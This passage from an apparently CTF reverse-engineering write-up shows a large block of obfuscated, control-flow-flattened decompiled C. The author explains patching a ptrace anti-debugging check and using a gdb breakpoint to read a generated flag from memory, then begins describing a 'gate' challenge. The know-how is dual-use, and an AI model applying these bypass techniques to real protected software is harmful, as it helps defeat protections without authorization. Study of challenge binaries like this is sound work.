punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_118 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_124<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0</span> <span class=\"token operator\">-</span> var_124<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            <span class=\"token class-name\">uint32_t</span> x_6 <span class=\"token operator\">=</span> x<span class=\"token punctuation\">;</span>\n                                            r11_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>x_6 <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>x_6 <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                            rbx <span class=\"token operator\">=</span> y <span class=\"token operator\">&lt;</span> <span class=\"token number\">0xa</span><span class=\"token punctuation\">;</span>\n                                            r14 <span class=\"token operator\">=</span> r11_1<span class=\"token punctuation\">;</span>\n                                            r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            r15 <span class=\"token operator\">=</span> rbx<span class=\"token punctuation\">;</span>\n                                            r15 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r15 <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            rdx <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                                            r12 <span class=\"token operator\">=</span> r14<span class=\"token punctuation\">;</span>\n                                            r12 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                            r13 <span class=\"token operator\">=</span> r15<span class=\"token punctuation\">;</span>\n                                            r13 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                            rbx <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>rbx <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            r12 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span>r11_1 <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            r13 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0</span> <span class=\"token operator\">|</span> rbx<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            r12 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r12 <span class=\"token operator\">^</span> r13<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">|</span> r15<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            rdx <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n                                            r14 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r14 <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            r12 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r12 <span class=\"token operator\">|</span> r14<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r12 <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                                            <span class=\"token punctuation\">{</span>\n                                                rax_59 <span class=\"token operator\">=</span> <span class=\"token operator\">-</span><span class=\"token number\">0x2462fe04</span><span class=\"token punctuation\">;</span>\n                                            <span class=\"token punctuation\">}</span>\n                                            var_128 <span class=\"token operator\">=</span> rax_59<span class=\"token punctuation\">;</span>\n                                        <span class=\"token punctuation\">}</span>\n                                        <span class=\"token keyword\">else</span>\n                                        <span class=\"token punctuation\">{</span>\n                                            <span class=\"token class-name\">int32_t</span> var_154_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0xe3ceeaa9</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0xe3ceeaa9</span><span class=\"token punctuation\">)</span>\n                                            <span class=\"token punctuation\">{</span>\n                                                <span class=\"token class-name\">int32_t</span> rdx_3 <span class=\"token operator\">=</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_118 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_120<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_118 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_120<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>rdx_3 <span class=\"token operator\">^</span> <span class=\"token number\">0xffffffff</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">0x19f</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">|</span> <span class=\"token punctuation\">(</span>rdx_3 <span class=\"token operator\">&amp;</span> <span class=\"token number\">0xfffffe60</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0xd2cc8233</span><span class=\"token punctuation\">;</span>\n                                            <span class=\"token punctuation\">}</span>\n                                            <span class=\"token keyword\">else</span>\n                                            <span class=\"token punctuation\">{</span>\n                                                <span class=\"token class-name\">int32_t</span> var_158_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x19341ee</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x19341ee</span><span class=\"token punctuation\">)</span>\n                                                <span class=\"token punctuation\">{</span>\n                                                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                                                <span class=\"token punctuation\">}</span>\n                                                <span class=\"token class-name\">int32_t</span> var_15c_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x19056f3d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x19056f3d</span><span class=\"token punctuation\">)</span>\n                                                <span class=\"token punctuation\">{</span>\n                                                    <span class=\"token class-name\">int32_t</span> rax_57 <span class=\"token operator\">=</span> <span class=\"token number\">0x19341ee</span><span class=\"token punctuation\">;</span>\n                                                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_124 <span class=\"token operator\">&lt;</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">)</span>\n                                                    <span class=\"token punctuation\">{</span>\n                                                        rax_57 <span class=\"token operator\">=</span> <span class=\"token operator\">-</span><span class=\"token number\">0x34d6a440</span><span class=\"token punctuation\">;</span>\n                                                    <span class=\"token punctuation\">}</span>\n                                                    var_128 <span class=\"token operator\">=</span> rax_57<span class=\"token punctuation\">;</span>\n                                                <span class=\"token punctuation\">}</span>\n                                                <span class=\"token keyword\">else</span>\n                                                <span class=\"token punctuation\">{</span>\n                                                    <span class=\"token class-name\">int32_t</span> var_160_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x25d256eb</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x25d256eb</span><span class=\"token punctuation\">)</span>\n                                                    <span class=\"token punctuation\">{</span>\n                                                        <span class=\"token class-name\">int32_t</span> var_184_1 <span class=\"token operator\">=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n                                                        <span class=\"token class-name\">int32_t</span> temp15_1<span class=\"token punctuation\">;</span>\n                                                        <span class=\"token class-name\">int32_t</span> temp16_1<span class=\"token punctuation\">;</span>\n                                                        temp15_1 <span class=\"token operator\">=</span> <span class=\"token function\">HIGHD</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_118 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_11c<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                        temp16_1 <span class=\"token operator\">=</span> <span class=\"token function\">LOWD</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_118 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_11c<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                        <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_118 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_11c<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token function\">COMBINE</span><span class=\"token punctuation\">(</span>temp15_1<span class=\"token punctuation\">,</span> temp16_1<span class=\"token punctuation\">)</span> <span class=\"token operator\">/</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                        var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0x299ff63b</span><span class=\"token punctuation\">;</span>\n                                                    <span class=\"token punctuation\">}</span>\n                                                    <span class=\"token keyword\">else</span>\n                                                    <span class=\"token punctuation\">{</span>\n                                                        <span class=\"token class-name\">int32_t</span> var_164_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x299ff63b</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x299ff63b</span><span class=\"token punctuation\">)</span>\n                                                        <span class=\"token punctuation\">{</span>\n                                                            var_11c <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_11c <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                            var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0x7c46699a</span><span class=\"token punctuation\">;</span>\n                                                        <span class=\"token punctuation\">}</span>\n                                                        <span class=\"token keyword\">else</span>\n                                                        <span class=\"token punctuation\">{</span>\n                                                            <span class=\"token class-name\">int32_t</span> var_168_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x33ee2572</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x33ee2572</span><span class=\"token punctuation\">)</span>\n                                                            <span class=\"token punctuation\">{</span>\n                                                                var_120 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                                                var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0x694bd910</span><span class=\"token punctuation\">;</span>\n                                                            <span class=\"token punctuation\">}</span>\n                                                            <span class=\"token keyword\">else</span>\n                                                            <span class=\"token punctuation\">{</span>\n                                                                <span class=\"token class-name\">int32_t</span> var_16c_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x34e86ff4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x34e86ff4</span><span class=\"token punctuation\">)</span>\n                                                                <span class=\"token punctuation\">{</span>\n                                                                    var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0xde3c30d3</span><span class=\"token punctuation\">;</span>\n                                                                <span class=\"token punctuation\">}</span>\n                                                                <span class=\"token keyword\">else</span>\n                                                                <span class=\"token punctuation\">{</span>\n                                                                    <span class=\"token class-name\">int32_t</span> var_170_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x54525dca</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x54525dca</span><span class=\"token punctuation\">)</span>\n                                                                    <span class=\"token punctuation\">{</span>\n                                                                        var_124 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                                                        var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0x19056f3d</span><span class=\"token punctuation\">;</span>\n                                                                    <span class=\"token punctuation\">}</span>\n                                                                    <span class=\"token keyword\">else</span>\n                                                                    <span class=\"token punctuation\">{</span>\n                                                                        <span class=\"token class-name\">int32_t</span> var_174_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x58d9f831</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x58d9f831</span><span class=\"token punctuation\">)</span>\n                                                                        <span class=\"token punctuation\">{</span>\n                                                                            rdi_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint32_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_118 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_124<span class=\"token punctuation\">)</span> <span class=\"token operator\">&lt;&lt;</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token number\">0</span> <span class=\"token operator\">-</span> var_124<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                            <span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">uint8_t</span><span class=\"token operator\">*</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token operator\">&amp;</span>var_68 <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">int64_t</span><span class=\"token punctuation\">)</span>var_124<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=</span> rdi_1<span class=\"token punctuation\">;</span>\n                                                                            var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0xe26ff5c7</span><span class=\"token punctuation\">;</span>\n                                                                        <span class=\"token punctuation\">}</span>\n                                                                        <span class=\"token keyword\">else</span>\n                                                                        <span class=\"token punctuation\">{</span>\n                                                                            <span class=\"token class-name\">int32_t</span> var_178_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x60b926fc</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x60b926fc</span><span class=\"token punctuation\">)</span>\n                                                                            <span class=\"token punctuation\">{</span>\n                                                                                var_124 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_124 <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                                var_128 <span class=\"token operator\">=</span> <span class=\"token number\">0xa2245c7a</span><span class=\"token punctuation\">;</span>\n                                                                            <span class=\"token punctuation\">}</span>\n                                                                            <span class=\"token keyword\">else</span>\n                                                                            <span class=\"token punctuation\">{</span>\n                                                                                <span class=\"token class-name\">int32_t</span> var_17c_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x694bd910</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                                <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x694bd910</span><span class=\"token punctuation\">)</span>\n                                                                                <span class=\"token punctuation\">{</span>\n                                                                                    <span class=\"token class-name\">int32_t</span> rax_50 <span class=\"token operator\">=</span> <span class=\"token number\">0x34e86ff4</span><span class=\"token punctuation\">;</span>\n                                                                                    <span class=\"token class-name\">uint32_t</span> x_1 <span class=\"token operator\">=</span> x<span class=\"token punctuation\">;</span>\n                                                                                    r9 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>x_1 <span class=\"token operator\">*</span> <span class=\"token punctuation\">(</span>x_1 <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n                                                                                    r10 <span class=\"token operator\">=</span> y <span class=\"token operator\">&lt;</span> <span class=\"token number\">0xa</span><span class=\"token punctuation\">;</span>\n                                                                                    r11_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r9 <span class=\"token operator\">&amp;</span> r10<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                                    r9 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>r9 <span class=\"token operator\">^</span> r10<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r11_1 <span class=\"token operator\">|</span> r9<span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n                                                                                    <span class=\"token punctuation\">{</span>\n                                                                                        rax_50 <span class=\"token operator\">=</span> <span class=\"token operator\">-</span><span class=\"token number\">0x21c3cf2d</span><span class=\"token punctuation\">;</span>\n                                                                                    <span class=\"token punctuation\">}</span>\n                                                                                    var_128 <span class=\"token operator\">=</span> rax_50<span class=\"token punctuation\">;</span>\n                                                                                <span class=\"token punctuation\">}</span>\n                                                                                <span class=\"token keyword\">else</span>\n                                                                                <span class=\"token punctuation\">{</span>\n                                                                                    <span class=\"token class-name\">int32_t</span> var_180_1 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">-</span> <span class=\"token number\">0x7c46699a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                                                                                    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_128 <span class=\"token operator\">==</span> <span class=\"token number\">0x7c46699a</span><span class=\"token punctuation\">)</span>\n                                                                                    <span class=\"token punctuation\">{</span>\n                                                                                        <span class=\"token class-name\">int32_t</span> rax_42 <span class=\"token operator\">=</span> <span class=\"token number\">0x33ee2572</span><span class=\"token punctuation\">;</span>\n                                                                                        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>var_11c <span class=\"token operator\">&lt;</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">)</span>\n                                                                                        <span class=\"token punctuation\">{</span>\n                                                                                            rax_42 <span class=\"token operator\">=</span> <span class=\"token number\">0x25d256eb</span><span class=\"token punctuation\">;</span>\n                                                                                        <span class=\"token punctuation\">}</span>\n                                                                                        var_128 <span class=\"token operator\">=</span> rax_42<span class=\"token punctuation\">;</span>\n                                                                                    <span class=\"token punctuation\">}</span>\n                                                                                <span class=\"token punctuation\">}</span>\n                                                                            <span class=\"token punctuation\">}</span>\n                                                                        <span class=\"token punctuation\">}</span>\n                                                                    <span class=\"token punctuation\">}</span>\n                                                                <span class=\"token punctuation\">}</span>\n                                                            <span class=\"token punctuation\">}</span>\n                                                        <span class=\"token punctuation\">}</span>\n                                                    <span class=\"token punctuation\">}</span>\n                                                <span class=\"token punctuation\">}</span>\n                                            <span class=\"token punctuation\">}</span>\n                                        <span class=\"token punctuation\">}</span>\n                                    <span class=\"token punctuation\">}</span>\n                                <span class=\"token punctuation\">}</span>\n                            <span class=\"token punctuation\">}</span>\n                        <span class=\"token punctuation\">}</span>\n                    <span class=\"token punctuation\">}</span>\n                <span class=\"token punctuation\">}</span>\n            <span class=\"token punctuation\">}</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token class-name\">int32_t</span> rax_21<span class=\"token punctuation\">;</span>\n    rax_21 <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token class-name\">int32_t</span> var_188 <span class=\"token operator\">=</span> <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Processing completed!\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Even without reading the implementation in detail, it seems likely that debugging this function would let us inspect the generated flag.</p>\n<p>Since the anti-debugging technique used here was only a <code class=\"language-text\">ptrace</code> attach, I patched that part, then launched the copied program from the <code class=\"language-text\">Service</code> directory under <code class=\"language-text\">gdb</code> and debugged it.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">b *0x5555555558e5</code></pre></div>\n<p>After setting the breakpoint above and running the program, I could easily recover the generated flag by searching memory for the flag string, as shown below.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 745px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/a9772d422e539fee8ca05a1478ea3edd/7e509/image-20240621220050457.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 12.083333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAbElEQVQI14WNzQ6DIBgE4cKtQCM/WlA/aK3v/4RT9AV6mGwyye6qY5k5Xwt7Tmyy8f50em/UtZCGC2Gi1oLWGqXUf9ooXyMpZ5a183gmchHiXBHZkSZ8zwPvHdZanLN3eu9xw8UYbqZxbIzhBy3hMGYqr3DyAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/a9772d422e539fee8ca05a1478ea3edd/8ac56/image-20240621220050457.webp 240w,\n/static/a9772d422e539fee8ca05a1478ea3edd/d3be9/image-20240621220050457.webp 480w,\n/static/a9772d422e539fee8ca05a1478ea3edd/06157/image-20240621220050457.webp 745w\"\n              sizes=\"(max-width: 745px) 100vw, 745px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/a9772d422e539fee8ca05a1478ea3edd/8ff5a/image-20240621220050457.png 240w,\n/static/a9772d422e539fee8ca05a1478ea3edd/e85cb/image-20240621220050457.png 480w,\n/static/a9772d422e539fee8ca05a1478ea3edd/7e509/image-20240621220050457.png 745w\"\n            sizes=\"(max-width: 745px) 100vw, 745px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/a9772d422e539fee8ca05a1478ea3edd/7e509/image-20240621220050457.png\"\n            alt=\"image-20240621220050457\"\n            title=\"image-20240621220050457\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"gaterev\" style=\"position:relative;\"><a href=\"#gaterev\" aria-label=\"gaterev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>gate(Rev)</h2>\n<blockquote>\n<p>I put a flag into the gate, and something came out. What is the flag?</p>\n</blockquote>\n<p>Decompiling the challenge binary shows that it takes a 32-character input (<code class=\"language-text\">0x200//0x10</code>) and stores it in the buffer in the form <code class=\"language-text\">1 &lt;input character></code> every 0x10 